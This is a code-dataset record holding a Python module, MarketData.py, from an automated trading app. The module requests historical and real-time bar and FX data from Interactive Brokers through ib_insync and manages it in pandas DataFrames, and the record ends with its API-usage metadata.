"usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 585, "usage_type": "attribute"}, {"api_name": "transformers.AutoModelForSequenceClassification.from_pretrained", "line_number": 598, "usage_type": "call"}, {"api_name": "transformers.AutoModelForSequenceClassification", "line_number": 598, "usage_type": "name"}, {"api_name": "torch.distributed.barrier", "line_number": 605, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 605, "usage_type": "attribute"}, {"api_name": "torch.distributed.get_rank", "line_number": 618, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 618, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 620, "usage_type": "call"}, {"api_name": "os.path", "line_number": 620, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 621, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 623, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 623, "usage_type": "call"}, {"api_name": "os.path", "line_number": 623, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 636, "usage_type": "call"}, {"api_name": "os.path", "line_number": 636, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 636, "usage_type": "call"}, {"api_name": "transformers.WEIGHTS_NAME", "line_number": 636, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 637, "usage_type": "call"}, {"api_name": "logging.WARN", "line_number": 637, "usage_type": "attribute"}]} +{"seq_id": "15690323011", "text": "import pandas as pd\r\nimport numpy as np\r\nimport ib_insync as ibi\r\nfrom src.util.dt_util import mapBarSize\r\nfrom src.util.log_util import *\r\nfrom copy import copy\r\n\r\n\r\npd.set_option('mode.chained_assignment', None) # Turn off pandas warning.\r\n\r\n\r\nclass DataInterface(object):\r\n\r\n @Logger('main', 'info')\r\n def __init__(self):\r\n self.df = None\r\n\r\n @Logger('main', 'info')\r\n def update(self, **kwargs):\r\n pass\r\n\r\n @Logger('main', 'info')\r\n def set(self, **kwargs):\r\n pass\r\n\r\n @Logger('main', 'debug')\r\n def append(self, df):\r\n if self.df is not None:\r\n self.df = self.df.append(df, ignore_index=True)\r\n else:\r\n self.assignDf(df)\r\n\r\n @Logger('main', 'debug')\r\n def getDf(self, col=None, val=None):\r\n if (col is None) and (val is None):\r\n return self.df\r\n else:\r\n return self.df.loc[self.df[col] == val]\r\n\r\n @Logger('main', 'debug')\r\n def assignDf(self, df):\r\n self.df = df\r\n\r\n @Logger('main', 'debug')\r\n def drop(self, col, val):\r\n self.df.drop(index=self.df.loc[(self.df[col] == val)].index, inplace=True)\r\n self.df.reset_index(inplace=True, drop=True)\r\n\r\n\r\nclass BarData(DataInterface):\r\n\r\n @Logger('main', 'info')\r\n def __init__(self, id_, contract, barSize, maxLen, option, isShadow):\r\n super(BarData, self).__init__()\r\n self.id = id_\r\n self.contract = contract\r\n self.barSize = barSize # timedelta or relativedelta\r\n self.maxLen = maxLen\r\n self.isShadow = isShadow\r\n self.option = option\r\n self.barsH = None\r\n self.barsR = None\r\n self.pxLast = None\r\n self.lastDateDf = None\r\n self.lastDateBars = None\r\n self.isActive = False\r\n self.isUpdated = False\r\n self.isReady = False\r\n self.updateTime = {'isActive':None,\r\n 'isUpdated':None,\r\n 'isReady':None,\r\n 'pxLast':None}\r\n\r\n @Logger('main', 'info')\r\n def set(self, barType, bars, currentTime):\r\n self.setBars(barType, bars)\r\n self.setDf(bars) if self.df is None else self.updateBarsToDf(bars)\r\n self.updateForNonShadow(currentTime, isInitializing=True)\r\n\r\n @Logger('main', 'debug')\r\n def setBars(self, barType, bars):\r\n if barType == 'h':\r\n self.barsH = bars\r\n elif barType == 'r':\r\n self.barsR = bars\r\n else:\r\n raise ValueError('Error: Invalid bar type.')\r\n\r\n @Logger('main', 'debug')\r\n def setDf(self, bars):\r\n self.assignDf(ibi.util.df(bars))\r\n self.resizeDf()\r\n\r\n @Logger('main', 'info')\r\n def update(self, currentTime, parentBarData=None):\r\n\r\n mainLogger.debug(f'Updating bar data for {self.contract.localSymbol}')\r\n\r\n if self.isShadow is False:\r\n self.updateForNonShadow(currentTime, isInitializing=False)\r\n else:\r\n self.updateForShadow(parentBarData)\r\n\r\n @Logger('main', 'debug')\r\n def updateDf(self, isInitializing):\r\n if isInitializing is False:\r\n newBars = self.extractNewBars()\r\n self.updateBarsToDf(newBars) if self.df is not None else self.setDf(newBars)\r\n\r\n @Logger('main', 'debug')\r\n def updateBarsToDf(self, bars):\r\n df = ibi.util.df(bars)\r\n if df is not None:\r\n for _ in range(len(df)):\r\n if df['date'].iloc[0] <= self.df['date'].iloc[-1]:\r\n self.df.drop(self.df.tail(1).index, inplace=True)\r\n else:\r\n break\r\n self.append(df)\r\n self.resizeDf()\r\n\r\n @Logger('main', 'debug')\r\n def updateForNonShadow(self, currentTime, isInitializing=False):\r\n self.updateReadyStatus(currentTime, isInitializing)\r\n if self.isReady:\r\n self.updateLastDateBars()\r\n self.updateDf(isInitializing)\r\n self.updateUpdateStatus(currentTime, isInitializing)\r\n self.updateActiveStatus(currentTime)\r\n self.updateLastDateDf()\r\n self.updateLastOpenRowInDf()\r\n self.updateLastDateDf()\r\n self.updatePxLast(currentTime)\r\n\r\n @Logger('main', 'debug')\r\n def updateForShadow(self, parentBarData):\r\n self.df = parentBarData.df\r\n self.barsH = parentBarData.barsH\r\n self.barsR = parentBarData.barsR\r\n self.pxLast = parentBarData.pxLast\r\n self.lastDateDf = parentBarData.lastDateDf\r\n self.lastDateBars = parentBarData.lastDateBars\r\n self.isActive = parentBarData.isActive\r\n self.isUpdated = parentBarData.isUpdated\r\n self.isReady = parentBarData.isReady\r\n self.updateTime = parentBarData.updateTime\r\n\r\n @Logger('main', 'debug')\r\n def updateReadyStatus(self, currentTime, isInitializing):\r\n self.isReady = True if isInitializing else (currentTime - self.lastDateBars) >= self.barSize\r\n self.updateTime['isReady'] = currentTime\r\n\r\n mainLogger.debug(f'isReady:{self.isReady} - currentTime:{currentTime} - lastDateBars:{self.lastDateBars} - barSize:{self.barSize}')\r\n\r\n @Logger('main', 'debug')\r\n def updateUpdateStatus(self, currentTime, isInitializing):\r\n if self.df is not None:\r\n date_0 = self.df['date'].iloc[-1]\r\n self.isUpdated = True if isInitializing else date_0 > self.lastDateDf\r\n\r\n mainLogger.debug(f'isUpdated:{self.isUpdated} - date_0:{date_0} - lastDateDf:{self.lastDateDf}')\r\n\r\n self.updateTime['isUpdated'] = currentTime\r\n\r\n @Logger('main', 'debug')\r\n def updateActiveStatus(self, currentTime):\r\n if self.df is not None:\r\n self.isActive = (currentTime - self.lastDateBars) < self.barSize\r\n\r\n mainLogger.debug(f'isActive:{self.isActive} - currentTime:{currentTime} - lastDateBars:{self.lastDateBars} - barSize:{self.barSize}')\r\n\r\n # self.isActive = self.lastDateBars > self.lastDateDf\r\n self.updateTime['isActive'] = currentTime\r\n\r\n @Logger('main', 'debug')\r\n def updateLastDateBars(self):\r\n if self.barsR is not None:\r\n lastDateBars = self.barsR[-1].date\r\n self.lastDateBars = lastDateBars if self.lastDateBars is None else max(lastDateBars, self.lastDateBars)\r\n elif self.barsH is not None:\r\n lastDateBars = self.barsH[-1].date\r\n self.lastDateBars = lastDateBars if self.lastDateBars is None else max(lastDateBars, self.lastDateBars)\r\n\r\n @Logger('main', 'debug')\r\n def updateLastDateDf(self):\r\n if self.df is not None:\r\n self.lastDateDf = self.df['date'].iloc[-1]\r\n\r\n @Logger('main', 'debug')\r\n def updateLastOpenRowInDf(self):\r\n if self.df is not None:\r\n if self.option in [3, 4]:\r\n if self.isActive and (self.lastDateBars == self.lastDateDf):\r\n self.df.drop(self.df.tail(1).index, inplace=True)\r\n\r\n @Logger('main', 'debug')\r\n def updatePxLast(self, currentTime):\r\n if (self.barsR is not None) and (len(self.barsR) > 0):\r\n self.pxLast = self.barsR[-1]\r\n self.updateTime['pxLast'] = currentTime\r\n elif (self.barsH is not None) and (len(self.barsH) > 0):\r\n self.pxLast = self.barsH[-1]\r\n self.updateTime['pxLast'] = currentTime\r\n\r\n @Logger('main', 'debug')\r\n def extractNewBars(self):\r\n bars = self.barsR\r\n newBars = list()\r\n if (bars is not None) and len(bars) > 0:\r\n if self.df is not None:\r\n for i in reversed(range(len(bars))):\r\n if bars[i].date >= self.lastDateDf:\r\n newBars.append(bars[i])\r\n else:\r\n break\r\n newBars.reverse()\r\n else:\r\n newBars = bars\r\n return newBars\r\n\r\n @Logger('main', 'debug')\r\n def resizeDf(self):\r\n if (self.df is not None) and (len(self.df) > self.maxLen):\r\n self.df = self.df.iloc[len(self.df) - self.maxLen:, :]\r\n self.df.reset_index(drop=True, inplace=True)\r\n\r\n\r\nclass FxData(DataInterface):\r\n\r\n @Logger('main', 'info')\r\n def __init__(self, ib, baseCcy, filePath, updateTimeOut=0):\r\n super(FxData, self).__init__()\r\n self.ib = ib\r\n self.baseCcy = baseCcy\r\n self.filePath = filePath\r\n self.updateTimeOut = updateTimeOut\r\n\r\n @Logger('main', 'info')\r\n def set(self):\r\n df = pd.read_csv(self.filePath)\r\n df = df.loc[df['IB SYMBOL'].apply(lambda x: self.baseCcy in x) & df['IS APPLIED'], :]\r\n df.reset_index(drop=True, inplace=True)\r\n df['domestic ccy'] = df['IB SYMBOL'].apply(lambda x: x[:3])\r\n df['foreign ccy' ] = df['IB SYMBOL'].apply(lambda x: x[4:])\r\n df['symbol' ] = df['IB SYMBOL'].apply(lambda x: x.replace('.', ''))\r\n df['contract' ] = df['symbol' ].apply(lambda x: self.ib.qualifyContracts(ibi.Forex(x))[0])\r\n df['ticker' ] = df['contract' ].apply(lambda x: self.ib.reqMktData(x, snapshot=False))\r\n df['inverse' ] = df['domestic ccy'] == self.baseCcy\r\n df['fx' ] = np.nan\r\n\r\n idx = df['inverse']\r\n df['currency'] = df['domestic ccy'].to_list()\r\n df['currency'].loc[idx] = df['foreign ccy'].loc[idx]\r\n df['pair' ] = df['currency'] + self.baseCcy\r\n\r\n col_keep = ['pair', 'contract', 'ticker', 'inverse', 'currency', 'fx']\r\n df = df[col_keep]\r\n\r\n self.assignDf(df)\r\n self.update()\r\n\r\n while self.df['fx'].isnull().any():\r\n self.ib.waitOnUpdate(self.updateTimeOut)\r\n self.update()\r\n\r\n @Logger('main', 'info')\r\n def update(self):\r\n idx = self.df['inverse']\r\n self.df['fx'] = self.df['ticker'].apply(lambda x: x.marketPrice())\r\n self.df['fx'].loc[idx] = 1 / self.df['fx'].loc[idx]\r\n\r\n\r\nclass StatusData(DataInterface):\r\n\r\n @Logger('main', 'info')\r\n def __init__(self, statusType):\r\n super(StatusData, self).__init__()\r\n self.df = pd.DataFrame(columns=['contract', 'id', 'status', 'update_time'])\r\n self.statusType = statusType\r\n\r\n @Logger('main', 'info')\r\n def set(self, ids, contracts, status, updateTimes):\r\n ids = [ids ] if isinstance(ids, list) is not True else ids\r\n contracts = [contracts ] if isinstance(contracts, list) is not True else contracts\r\n status = [status ] if isinstance(status, list) is not True else status\r\n updateTimes = [updateTimes] if isinstance(updateTimes, list) is not True else updateTimes\r\n\r\n df = pd.DataFrame({'id':ids,\r\n 'contract':contracts,\r\n 'status':status,\r\n 'update_time':updateTimes})\r\n self.assignDf(df)\r\n\r\n @Logger('main', 'info')\r\n def update(self, id_, status, updateTime):\r\n self.df['status' ].loc[self.df['id'] == id_] = status\r\n self.df['update_time'].loc[self.df['id'] == id_] = updateTime\r\n\r\n\r\nclass PxLastData(DataInterface):\r\n\r\n @Logger('main', 'info')\r\n def __init__(self):\r\n super(PxLastData, self).__init__()\r\n self.df = pd.DataFrame(columns=['contract', 'id', 'close', 'px_time', 'update_time'])\r\n\r\n @Logger('main', 'info')\r\n def set(self, contracts, ids, closes, lastDateBars, updateTimes):\r\n contracts = [contracts ] if isinstance(contracts, list) is not True else contracts\r\n ids = [ids ] if isinstance(ids, list) is not True else ids\r\n closes = [closes ] if isinstance(closes, list) is not True else closes\r\n lastDateBars = [lastDateBars] if isinstance(lastDateBars, list) is not True else lastDateBars\r\n updateTimes = [updateTimes ] if isinstance(updateTimes, list) is not True else updateTimes\r\n\r\n df = pd.DataFrame({'contract':contracts,\r\n 'id':ids,\r\n 'close':closes,\r\n 'px_time':lastDateBars,\r\n 'update_time':updateTimes})\r\n self.assignDf(df)\r\n\r\n @Logger('main', 'info')\r\n def update(self, id_, close, lastDateBars, updateTime):\r\n self.df['close' ].loc[self.df['id'] == id_] = close\r\n self.df['px_time' ].loc[self.df['id'] == id_] = lastDateBars\r\n self.df['update_time'].loc[self.df['id'] == id_] = updateTime\r\n\r\n\r\nclass BarDataRequestor(object):\r\n\r\n @Logger('main', 'info')\r\n def __init__(self, ib):\r\n self.ib = ib\r\n\r\n @Logger('main', 'debug')\r\n def reqConsecutiveBars(self, contract, para, startDate):\r\n barsList = []\r\n while True:\r\n bars = self.ib.reqHistoricalData(contract, **para)\r\n if bars[0].date <= startDate:\r\n bars = [bar for bar in bars if bar.date >= startDate] if bars[0].date < startDate else bars\r\n barsList.append(bars)\r\n break\r\n barsList.append(bars)\r\n para['endDateTime'] = bars[0].date\r\n\r\n barsOut = barsList[-1]\r\n for bar in reversed(barsList[:-1]):\r\n barsOut.extend(bar)\r\n\r\n return barsOut\r\n\r\n @Logger('main', 'debug')\r\n def createBarData(self, id_, contract, para, option, currentTime, startDate=None, updateFunc=None, dfBase=None, maxLen=100000):\r\n\r\n barSize = mapBarSize(para['barSizeSetting'])\r\n barData = BarData(id_, contract, barSize, maxLen, option, isShadow=False)\r\n\r\n if dfBase is not None:\r\n barData.df = dfBase\r\n\r\n # Historical bars.\r\n if option == 1:\r\n bars = self.ib.reqHistoricalData(contract, **para)\r\n barData.set('h', bars, currentTime)\r\n\r\n # Consecutive historical bars.\r\n elif option == 2:\r\n bars = self.reqConsecutiveBars(contract, para, startDate)\r\n barData.set('h', bars, currentTime)\r\n\r\n # Historical bars with real-time update.\r\n elif option == 3:\r\n assert para['keepUpToDate'], \\\r\n f'Error:MarketData:{self.__class__.__name__}:{inspect.currentframe().f_code.co_name} ' \\\r\n f'- Parameter keepUpToDate needs to be True for real-time request ID-{id_}.'\r\n bars = self.ib.reqHistoricalData(contract, **para)\r\n if updateFunc is not None:\r\n bars.updateEvent += updateFunc\r\n barData.set('r', bars, currentTime)\r\n\r\n # Consecutive historical bars with real-time update.\r\n elif option == 4:\r\n para['keepUpToDate'] = False\r\n para['endDateTime' ] = ''\r\n bars = self.reqConsecutiveBars(contract, para, startDate)\r\n barData.set('h', bars, currentTime)\r\n\r\n para['keepUpToDate'] = True\r\n para['endDateTime' ] = ''\r\n bars = self.ib.reqHistoricalData(contract, **para)\r\n if updateFunc is not None:\r\n bars.updateEvent += updateFunc\r\n barData.set('r', bars, currentTime)\r\n\r\n else:\r\n raise Exception(f'Error:MarketData:{self.__class__.__name__}:{inspect.currentframe().f_code.co_name} - Invalid option for ID-{id_}.')\r\n\r\n return barData\r\n\r\n\r\nclass MarketDataManager(object):\r\n \r\n @Logger('main', 'info')\r\n def __init__(self, agent):\r\n self.ib = agent.ib\r\n self.agent = agent\r\n self.config = None\r\n self.barDataDict = None\r\n self.fxData = None\r\n self.activeStatusData = None\r\n self.updateStatusData = None\r\n self.readyStatusData = None\r\n self.pxLastData = None\r\n self.configMarketData = None\r\n self.configShadowData = None\r\n self.configFxPairFile = None\r\n\r\n # ------------------------------------- Basic Functions -------------------------------------\r\n\r\n @Logger('main', 'debug')\r\n def createBarData(self, id_, contract, para, option, startDate=None, updateFunc=None, dfBase=None, maxLen=100000, requestor=None):\r\n requestor = BarDataRequestor(self.ib) if requestor is None else requestor\r\n currentTime = self.agent.currentTime\r\n\r\n self.validatePara(para)\r\n barData = requestor.createBarData(id_, contract, para, option, currentTime, startDate, updateFunc, dfBase, maxLen)\r\n\r\n return barData\r\n\r\n @Logger('main', 'debug')\r\n def createBarDataShadow(self, shadowId, contract, marketDataId):\r\n\r\n shadowData = copy(self.barDataDict[marketDataId])\r\n shadowData.contract = contract\r\n shadowData.isShadow = True\r\n\r\n self.barDataDict[shadowId] = shadowData\r\n\r\n @Logger('main', 'debug')\r\n def validatePara(self, para):\r\n if self.agent.mode == 'backtest':\r\n assert para['whatToShow'] == 'MIDPOINT'\r\n assert para['formatDate'] == 2\r\n assert para['keepUpToDate'] is False\r\n\r\n # ------------------------------------- Initialize -------------------------------------\r\n\r\n @Logger('main', 'info')\r\n def initialize(self, config):\r\n self.initializeConfig(config)\r\n self.initializeAllData()\r\n\r\n @Logger('main', 'debug')\r\n def initializeConfig(self, config):\r\n self.config = config\r\n self.configMarketData = config['MARKET_DATA']\r\n self.configFxPairFile = config['FX_PAIRS_FILE']\r\n self.configShadowData = config['SHADOW_DATA']\r\n\r\n @Logger('main', 'debug')\r\n def initializeAllData(self):\r\n self.initializeBarData()\r\n self.initializeBarDataShadow()\r\n self.initializeFxData()\r\n self.initializeActiveStatusData()\r\n self.initializeUpdateStatusData()\r\n self.initializeReadyStatusData()\r\n self.initializePxLastData()\r\n\r\n @Logger('main', 'debug')\r\n def initializeBarData(self):\r\n self.barDataDict = dict()\r\n requestor = BarDataRequestor(self.ib)\r\n for key, val in self.configMarketData.items():\r\n\r\n id_ = val['custom_id']\r\n contract = self.agent.ContractManager.getContract(val['contract_id'])\r\n para = val['para']\r\n option = val['option']\r\n maxLen = val['max_len']\r\n startDate = val['start_date']\r\n updateFunc = val['update_func']\r\n dfBase = val['df_base']\r\n\r\n self.barDataDict[id_] = self.createBarData(id_, contract, para, option, startDate, updateFunc, dfBase, maxLen, requestor)\r\n\r\n mainLogger.debug(f'Initialized bar data for {contract.localSymbol}')\r\n\r\n @Logger('main', 'debug')\r\n def initializeBarDataShadow(self):\r\n for id_, val in self.configShadowData.items():\r\n contractId = val['contract_id']\r\n marketDataId = val['market_data_id']\r\n contract = self.agent.ContractManager.getContract(contractId)\r\n\r\n self.createBarDataShadow(id_, contract, marketDataId)\r\n\r\n mainLogger.debug(f'Initialized bar data for {contract.localSymbol}')\r\n\r\n @Logger('main', 'debug')\r\n def initializeFxData(self):\r\n baseCcy = self.agent.baseCcy\r\n filePath = self.configFxPairFile\r\n\r\n fxData = FxData(self.ib, baseCcy, filePath, updateTimeOut=0)\r\n fxData.set()\r\n self.fxData = fxData\r\n\r\n @Logger('main', 'debug')\r\n def initializeActiveStatusData(self):\r\n ids = list(self.barDataDict.keys())\r\n contracts = [self.barDataDict[id_].contract for id_ in ids]\r\n status = [self.barDataDict[id_].isActive for id_ in ids]\r\n updateTimes = [self.barDataDict[id_].updateTime['isActive'] for id_ in ids]\r\n\r\n self.activeStatusData = StatusData('active')\r\n self.activeStatusData.set(ids, contracts, status, updateTimes)\r\n\r\n @Logger('main', 'debug')\r\n def initializeUpdateStatusData(self):\r\n ids = list(self.barDataDict.keys())\r\n contracts = [self.barDataDict[id_].contract for id_ in ids]\r\n status = [self.barDataDict[id_].isUpdated for id_ in ids]\r\n updateTimes = [self.barDataDict[id_].updateTime['isUpdated'] for id_ in ids]\r\n\r\n self.updateStatusData = StatusData('update')\r\n self.updateStatusData.set(ids, contracts, status, updateTimes)\r\n\r\n @Logger('main', 'debug')\r\n def initializeReadyStatusData(self):\r\n ids = list(self.barDataDict.keys())\r\n contracts = [self.barDataDict[id_].contract for id_ in ids]\r\n status = [self.barDataDict[id_].isReady for id_ in ids]\r\n updateTimes = [self.barDataDict[id_].updateTime['isReady'] for id_ in ids]\r\n\r\n self.readyStatusData = StatusData('ready')\r\n self.readyStatusData.set(ids, contracts, status, updateTimes)\r\n\r\n @Logger('main', 'debug')\r\n def initializePxLastData(self):\r\n ids = list(self.barDataDict.keys())\r\n contracts = [self.barDataDict[id_].contract for id_ in ids]\r\n closes = list()\r\n lastDateBars = list()\r\n updateTimes = list()\r\n\r\n for id_ in ids:\r\n pxLast = self.barDataDict[id_].pxLast\r\n updateTime = self.barDataDict[id_].updateTime\r\n if pxLast is not None:\r\n closes.append(pxLast.close)\r\n lastDateBars.append(pxLast.date)\r\n updateTimes.append(updateTime['pxLast'])\r\n else:\r\n closes.append(np.nan)\r\n lastDateBars.append(pd.NaT)\r\n updateTimes.append(pd.NaT)\r\n\r\n self.pxLastData = PxLastData()\r\n self.pxLastData.set(contracts, ids, closes, lastDateBars, updateTimes)\r\n\r\n # ------------------------------------- Update -------------------------------------\r\n\r\n @Logger('main', 'info')\r\n def update(self):\r\n self.updateBarData()\r\n self.updateFxData()\r\n self.updateActiveStatusData()\r\n self.updateUpdateStatusData()\r\n self.updateReadyStatusData()\r\n self.updatePxLastData()\r\n\r\n @Logger('main', 'debug')\r\n def updateBarData(self):\r\n currentTime = self.agent.currentTime\r\n ids = list(self.barDataDict.keys())\r\n idsNonShadow = [id_ for id_ in ids if self.barDataDict[id_].isShadow is False]\r\n idsShadow = [id_ for id_ in ids if self.barDataDict[id_].isShadow is True]\r\n\r\n for id_ in idsNonShadow:\r\n self.barDataDict[id_].update(currentTime)\r\n\r\n for id_ in idsShadow:\r\n parentId = self.barDataDict[id_].id\r\n parentBarData = self.barDataDict[parentId]\r\n self.barDataDict[id_].update(currentTime, parentBarData)\r\n\r\n @Logger('main', 'debug')\r\n def updateFxData(self):\r\n self.fxData.update()\r\n\r\n @Logger('main', 'debug')\r\n def updateActiveStatusData(self):\r\n for id_ in self.barDataDict.keys():\r\n status = self.barDataDict[id_].isActive\r\n updateTime = self.barDataDict[id_].updateTime['isActive']\r\n self.activeStatusData.update(id_, status, updateTime)\r\n\r\n @Logger('main', 'debug')\r\n def updateUpdateStatusData(self):\r\n for id_ in self.barDataDict.keys():\r\n status = self.barDataDict[id_].isUpdated\r\n updateTime = self.barDataDict[id_].updateTime['isUpdated']\r\n self.updateStatusData.update(id_, status, updateTime)\r\n\r\n @Logger('main', 'debug')\r\n def updateReadyStatusData(self):\r\n for id_ in self.barDataDict.keys():\r\n status = self.barDataDict[id_].isReady\r\n updateTime = self.barDataDict[id_].updateTime['isReady']\r\n self.readyStatusData.update(id_, status, updateTime)\r\n\r\n @Logger('main', 'debug')\r\n def updatePxLastData(self):\r\n for id_ in self.barDataDict.keys():\r\n pxLast = self.barDataDict[id_].pxLast\r\n close = pxLast.close if pxLast is not None else np.nan\r\n lastDateBars = pxLast.date if pxLast is not None else pd.NaT\r\n updateTime = self.barDataDict[id_].updateTime['pxLast']\r\n self.pxLastData.update(id_, close, lastDateBars, updateTime)\r\n\r\n # ------------------------------------- Cancel -------------------------------------\r\n\r\n @Logger('main', 'info')\r\n def cancelAllDataRequest(self):\r\n self.cancelAllBarDataRequest()\r\n self.cancelAllFxDataRequest()\r\n\r\n @Logger('main', 'debug')\r\n def cancelBarDataRequest(self, id_):\r\n if self.barDataDict[id_].barsR is not None and self.barDataDict[id_].isShadow is False:\r\n self.ib.cancelHistoricalData(self.barDataDict[id_].barsR)\r\n\r\n @Logger('main', 'debug')\r\n def cancelAllBarDataRequest(self):\r\n for id_ in self.barDataDict.keys():\r\n self.cancelBarDataRequest(id_)\r\n\r\n @Logger('main', 'debug')\r\n def cancelFxDataRequest(self, contract):\r\n self.ib.cancelMktData(contract)\r\n\r\n @Logger('main', 'debug')\r\n def cancelAllFxDataRequest(self):\r\n if self.fxData is not None:\r\n for contract in self.fxData.df['contract']:\r\n self.cancelFxDataRequest(contract)\r\n\r\n # ------------------------------------- Drop -------------------------------------\r\n\r\n @Logger('main', 'info')\r\n def dropAllData(self):\r\n self.dropAllBarData()\r\n self.dropAllFxData()\r\n self.dropAllActiveStatusData()\r\n self.dropAllUpdateStatusData()\r\n self.dropAllReadyStatusData()\r\n self.dropAllPxLastData()\r\n\r\n @Logger('main', 'debug')\r\n def dropBarData(self, id_):\r\n self.cancelBarDataRequest(id_)\r\n del self.barDataDict[id_]\r\n\r\n self.dropActiveStatusData(id_)\r\n self.dropUpdateStatusData(id_)\r\n self.dropReadyStatusData(id_)\r\n self.dropPxLastData(id_)\r\n\r\n @Logger('main', 'debug')\r\n def dropAllBarData(self):\r\n self.cancelAllBarDataRequest()\r\n self.barDataDict = None\r\n\r\n self.dropAllActiveStatusData()\r\n self.dropAllUpdateStatusData()\r\n self.dropAllReadyStatusData()\r\n self.dropAllPxLastData()\r\n\r\n @Logger('main', 'debug')\r\n def dropFxData(self, contract):\r\n self.cancelFxDataRequest(contract)\r\n self.fxData.drop('contract', contract)\r\n\r\n @Logger('main', 'debug')\r\n def dropAllFxData(self):\r\n self.cancelAllFxDataRequest()\r\n self.fxData = None\r\n\r\n @Logger('main', 'debug')\r\n def dropActiveStatusData(self, id_):\r\n self.activeStatusData.drop('id', id_)\r\n\r\n @Logger('main', 'debug')\r\n def dropAllActiveStatusData(self):\r\n self.activeStatusData = None\r\n\r\n @Logger('main', 'debug')\r\n def dropUpdateStatusData(self, id_):\r\n self.updateStatusData.drop('id', id_)\r\n\r\n @Logger('main', 'debug')\r\n def dropAllUpdateStatusData(self):\r\n self.updateStatusData = None\r\n\r\n @Logger('main', 'debug')\r\n def dropReadyStatusData(self, id_):\r\n self.readyStatusData.drop('id', id_)\r\n\r\n @Logger('main', 'debug')\r\n def dropAllReadyStatusData(self):\r\n self.readyStatusData = None\r\n\r\n @Logger('main', 'debug')\r\n def dropPxLastData(self, id_):\r\n self.pxLastData.drop('id', id_)\r\n\r\n @Logger('main', 'debug')\r\n def dropAllPxLastData(self):\r\n self.pxLastData = None\r\n\r\n # ------------------------------------- Reset -------------------------------------\r\n\r\n @Logger('main', 'info')\r\n def resetAllData(self):\r\n self.dropAllData()\r\n self.initializeAllData()\r\n\r\n @Logger('main', 'debug')\r\n def resetBarData(self, id_):\r\n self.cancelBarDataRequest(id_)\r\n requestor = BarDataRequestor(self.ib)\r\n\r\n val = self.configMarketData[id_]\r\n id_ = val['custom_id']\r\n contract = self.agent.ContractManager.getContract(val['contract_id'])\r\n para = val['para']\r\n option = val['option']\r\n maxLen = val['max_len']\r\n startDate = val['start_date']\r\n updateFunc = val['update_func']\r\n dfBase = self.barDataDict[id_].df # Inherit existing df.\r\n\r\n self.barDataDict[id_] = self.createBarData(id_, contract, para, option, startDate, updateFunc, dfBase, maxLen, requestor)\r\n\r\n @Logger('main', 'debug')\r\n def resetAllBarData(self):\r\n self.dropAllBarData()\r\n self.initializeBarData()\r\n self.initializeBarDataShadow()\r\n self.initializeActiveStatusData()\r\n self.initializeUpdateStatusData()\r\n self.initializeReadyStatusData()\r\n self.initializePxLastData()\r\n\r\n @Logger('main', 'debug')\r\n def resetAllFxData(self):\r\n self.dropAllFxData()\r\n self.initializeFxData()\r\n\r\n @Logger('main', 'debug')\r\n def resetAllActiveStatusData(self):\r\n self.dropAllActiveStatusData()\r\n self.initializeActiveStatusData()\r\n\r\n @Logger('main', 'debug')\r\n def resetAllUpdateStatusData(self):\r\n self.dropAllUpdateStatusData()\r\n self.initializeUpdateStatusData()\r\n\r\n @Logger('main', 'debug')\r\n def resetAllReadyStatusData(self):\r\n self.dropAllReadyStatusData()\r\n self.initializeReadyStatusData()\r\n\r\n @Logger('main', 'debug')\r\n def resetAllPxLastData(self):\r\n self.dropAllPxLastData()\r\n self.initializePxLastData()\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n pass\r\n", "repo_name": "wai-i/Forge-An_Automated_Trading_App_-Shadow-", "sub_path": "src/manager/MarketData.py", "file_name": "MarketData.py", "file_ext": "py", "file_size_in_byte": 29419, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.set_option", "line_number": 9, "usage_type": "call"}, {"api_name": "ib_insync.util.df", "line_number": 91, "usage_type": "call"}, {"api_name": "ib_insync.util", "line_number": 91, "usage_type": "attribute"}, {"api_name": "ib_insync.util.df", "line_number": 112, "usage_type": "call"}, {"api_name": "ib_insync.util", "line_number": 112, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 240, "usage_type": "call"}, {"api_name": "ib_insync.Forex", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 249, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 278, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 288, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 305, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 315, "usage_type": "call"}, {"api_name": "src.util.dt_util.mapBarSize", "line_number": 356, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 434, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 556, "usage_type": "attribute"}, {"api_name": "pandas.NaT", "line_number": 557, "usage_type": "attribute"}, {"api_name": "pandas.NaT", "line_number": 558, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 618, "usage_type": "attribute"}, {"api_name": "pandas.NaT", "line_number": 619, "usage_type": "attribute"}]}